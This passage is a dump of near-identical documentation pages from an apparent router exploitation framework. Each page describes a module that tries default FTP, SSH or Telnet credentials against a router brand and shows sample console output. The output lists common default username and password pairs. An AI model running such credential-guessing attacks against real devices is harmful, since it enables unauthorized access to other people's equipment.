    "path": "docs/modules/creds/routers/huawei/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Huawei Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/huawei/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/huawei/telnet_default_creds\nrsf (Huawei Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Huawei Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/ipfire/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against IPFire Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/ipfire/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/ipfire/ftp_default_creds\nrsf (IPFire Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (IPFire Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/ipfire/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against IPFire Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/ipfire/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/ipfire/ssh_default_creds\nrsf (IPFire Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (IPFire Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/ipfire/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against IPFire Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/ipfire/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/ipfire/telnet_default_creds\nrsf (IPFire Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (IPFire Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/juniper/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Juniper Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/juniper/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/juniper/ftp_default_creds\nrsf (Juniper Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Juniper Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/juniper/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Juniper Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/juniper/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/juniper/ssh_default_creds\nrsf (Juniper Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Juniper Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/juniper/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Juniper Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/juniper/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/juniper/telnet_default_creds\nrsf (Juniper Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Juniper Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/linksys/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Linksys Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/linksys/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/linksys/ftp_default_creds\nrsf (Linksys Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Linksys Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/linksys/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Linksys Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/linksys/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/linksys/ssh_default_creds\nrsf (Linksys Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Linksys Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/linksys/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Linksys Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/linksys/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/linksys/telnet_default_creds\nrsf (Linksys Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Linksys Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/mikrotik/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Mikrotik Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/mikrotik/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/mikrotik/ftp_default_creds\nrsf (Mikrotik Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Mikrotik Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/mikrotik/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Mikrotik Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/mikrotik/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/mikrotik/ssh_default_creds\nrsf (Mikrotik Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Mikrotik Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/mikrotik/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Mikrotik Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/mikrotik/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/mikrotik/telnet_default_creds\nrsf (Mikrotik Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Mikrotik Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/movistar/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Movistar Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/movistar/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/movistar/ftp_default_creds\nrsf (Movistar Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Movistar Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/movistar/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Movistar Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/movistar/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/movistar/ssh_default_creds\nrsf (Movistar Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Movistar Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/movistar/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Movistar Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/movistar/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/movistar/telnet_default_creds\nrsf (Movistar Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Movistar Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/netcore/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netcore Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netcore/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netcore/ftp_default_creds\nrsf (Netcore Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netcore Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/netcore/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netcore Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netcore/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netcore/ssh_default_creds\nrsf (Netcore Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netcore Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/netcore/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netcore Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netcore/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netcore/telnet_default_creds\nrsf (Netcore Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netcore Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/netgear/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netgear Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netgear/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netgear/ftp_default_creds\nrsf (Netgear Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netgear Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/netgear/ssh_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netgear Router SSH service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netgear/ssh_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netgear/ssh_default_creds\nrsf (Netgear Router Default SSH Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netgear Router Default SSH Creds) > run\n[*] Running module...\n[*] Target exposes SSH service\n[*] Starting default credentials attack against SSH service\n[*] thread-0 thread is starting...\n[-] SSH Authentication Failed - Username: 'admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'admin' Password: '123456'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'\n[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'\n[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 2.3932292461395264 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     22       ssh         admin        admin \n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/netgear/telnet_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netgear Router Telnet service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netgear/telnet_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netgear/telnet_default_creds\nrsf (Netgear Router Default Telnet Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netgear Router Default Telnet Creds) > run\n[*] Running module...\n[*] Target exposes Telnet service\n[*] Starting default credentials attack against Telnet service\n[*] thread-0 thread is starting...\n[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'\n[-] Telnet Authentication Failed - Username: '1234' Password: '1234'\n[-] Telnet Authentication Failed - Username: 'root' Password: '12345'\n[-] Telnet Authentication Failed - Username: 'root' Password: 'root'\n[+] Telnet Authentication Successful - Username: 'user' Password: 'user'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 5.389287948608398 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     23       telnet      user         user\n\n```\n"
  },
  {
    "path": "docs/modules/creds/routers/netsys/ftp_default_creds.md",
    "content": "## Description\n\nModule performs dictionary attack with default credentials against Netsys Router FTP service.\nIf valid credentials are found, they are displayed to the user.\n\n## Verification Steps\n\n  1. Start `./rsf.py`\n  2. Do: `use creds/routers/netsys/ftp_default_creds`\n  3. Do: `set target [TargetIP]`\n  4. Do: `run`\n  5. If valid credentials are found, they are displayed to the user.\n\n## Scenarios\n\n```\nrsf > use creds/routers/netsys/ftp_default_creds\nrsf (Netsys Router Default FTP Creds) > set target 192.168.1.1\n[+] target => 192.168.1.1\nrsf (Netsys Router Default FTP Creds) > run\n[*] Running module...\n[*] Target exposes FTP service\n[*] Starting attack against FTP service\n[*] thread-0 thread is starting...\n[-] Authentication Failed - Username: 'admin' Password: '12345'\n[-] Authentication Failed - Username: 'admin' Password: '123456'\n[-] Authentication Failed - Username: 'Admin' Password: '12345'\n[-] Authentication Failed - Username: 'Admin' Password: '123456'\n[+] Authenticated Succeed - Username: 'admin' Password: 'admin'\n[*] thread-0 thread is terminated.\n[*] Elapsed time: 0.06290411949157715 seconds\n[+] Credentials found!\n\n   Target          Port     Service     Username     Password\n   ------          ----     -------     --------     --------\n   192.168.1.1     21       ftp         admin        admin \n\n```\n"
  },
  {
